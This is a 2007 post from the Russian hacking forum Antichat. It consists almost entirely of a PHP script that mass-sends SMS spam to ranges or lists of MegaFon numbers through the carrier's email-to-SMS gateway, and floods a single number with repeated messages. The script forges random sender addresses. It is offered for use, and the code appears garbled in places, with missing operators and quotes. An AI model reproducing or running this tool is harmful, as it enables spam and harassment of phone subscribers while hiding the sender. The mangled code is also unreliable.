Показать сообщение отдельно

  #6  
Старый 08.09.2007, 11:03
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

MegaFon ::: Spamer ::: Flooder
Только что написал.. Вроде должен работать, а так не проверял.
PHP код:
<? 
#(c) NOmeR1 
if(!set_time_limit(0)) { $limit false; } 
else { 
set_time_limit(0); ignore_user_abort(1); $limit true; } 
$lockfile 'lock.lock'//Если в каталоге этот файл, то флуд и спам перестают работать 
$spisok 'spisok.txt'//Файл списка номеров для спама 
$log 'log.txt'//Файл лога 
$symb 'QWERTYUIOPADFGHJKLZXCVBNM'
$mails = array('mail.ru''inbox.ru''bk.ru''list.ru''gmail.com''gmail.ru'); 
?> 
<title>MegaFon ::: Spamer ::: Flooder</title> 
<? 
if($_GET['spam'] == '1'

 if(
$_POST['from'] && $_POST['to'] && $_POST['msg'] && $_POST['from'] < $_POST['to']) 
 { 
  for(
$i=$_POST['from'];$i<=$_POST['to'];$i++) 
  { 
   if(
file_exists($lockfile)) 
   { 
    echo(
'Файл блокирования найден'); break; 
   } 
   
$i '7'.substr($i1); 
   
$from $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; 
   
mail($i.'@sms.mgsm.ru'''$_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); 
   if(
$_POST['logs'] == '1'
   { 
    
$f fopen($log,'a') or die('Не возможно открыть файл лога'); 
    
fwrite($f'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$i."\r\n") or die('Не возможно записать в файл лога'); 
    
fclose($f); 
   } 
   
sleep(7); 
  } 
  echo(
'<font color=YellowGreen>Завершено успешно</font><br>'); 
 } 
 if(
$_POST['spisok'] == '1' && $_POST['msg']) 
 { 
  
$file file($spisok); 
  for(
$i=0;$i<count($file);$i++) 
  { 
   if(
file_exists($lockfile)) 
   { 
    echo(
'Файл блокирования найден'); break; 
   } 
   
$file[$i] = $mobile
   
$mobile preg_replace('/[^0-9]/','',$mobile); 
   
$mobile '7'.substr($mobile1); 
   
$from $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; 
   
mail($mobile.'@sms.mgsm.ru'''$_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); 
   if(
$_POST['logs'] == '1'
   { 
    
$f fopen($log,'a') or die('Не возможно открыть файл лога'); 
    
fwrite($f'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога'); 
    
fclose($f); 
   } 
   
sleep(7); 
  } 
  echo(
'<font color=YellowGreen>Завершено успешно</font><br>'); 
 } 
 else 
 { 
?> 
Файл списка (<?=$spisok?><?if(is_writable($spisok)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> 
Файл лога (<?=$log?><?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> 
Файл блокировки (<?=$lockfile?><?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br> 
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> 

<form method='post' style='width:300'> 
Начало: <input type='text' name='from' value='79030000000'><br> 
Конец: <input type='text' name='to' value='79030000500'><br> 
Использовать список? <input type='checkbox' name='spisok' value='1'> - <?=$spisok?><br> 
Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br> 
<textarea name='msg' rows='5' cols='30'></textarea><br> 
<input type='submit'> 
</form> 
<? 
 


elseif(
$_GET['flood'] == '1'

 if(!
set_time_limit(0)) { $limit false; } 
 else { 
set_time_limit(0); ignore_user_abort(1); $limit true; } 
 if(
$_POST['mob'] && $_POST['kol'] && $_POST['msg']) 
 { 
  
$file file($spisok); 
  for(
$i=0;$i<$_POST['kol'];$i++) 
  { 
   if(
file_exists($lockfile)) 
   { 
    echo(
'Файл блокирования найден'); break; 
   } 
   
$mobile $_POST['mob']; 
   
$mobile preg_replace('/[^0-9]/','',$mobile); 
   
$mobile '7'.substr($mobile1); 
   
$from $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; 
   
mail($mobile.'@sms.mgsm.ru'''$_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); 
   
sleep(7); 
  } 
  if(
$_POST['logs'] == '1'
  { 
   
$f fopen($log,'a') or die('Не возможно открыть файл лога'); 
   
fwrite($f'Flood ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога'); 
   
fclose($f); 
  } 
  echo(
'<font color=YellowGreen>Завершено успешно</font><br>'); 
 } 
 else 
 { 
?> 
Файл лога (<?=$log?><?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> 
Файл блокировки (<?=$lockfile?><?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br> 
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> 

<form method='post' style='width:300'> 
Номер: <input type='text' name='mob' value='79030000000'><br> 
Количество СМС: <input type='text' name='kol' value='50'><br> 
Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br> 
<textarea name='msg' rows='5' cols='30'></textarea><br> 
<input type='submit'> 
</form> 
<? 
 


?> 
<a href='<?=$_SERVER["PHP_SELF"]?>?spam=1'>Спам</a><br> 
<a href='<?=$_SERVER["PHP_SELF"]?>?flood=1'>Флуд</a>

Последний раз редактировалось NOmeR1; 08.09.2007 в 14:16..
 
Ответить с цитированием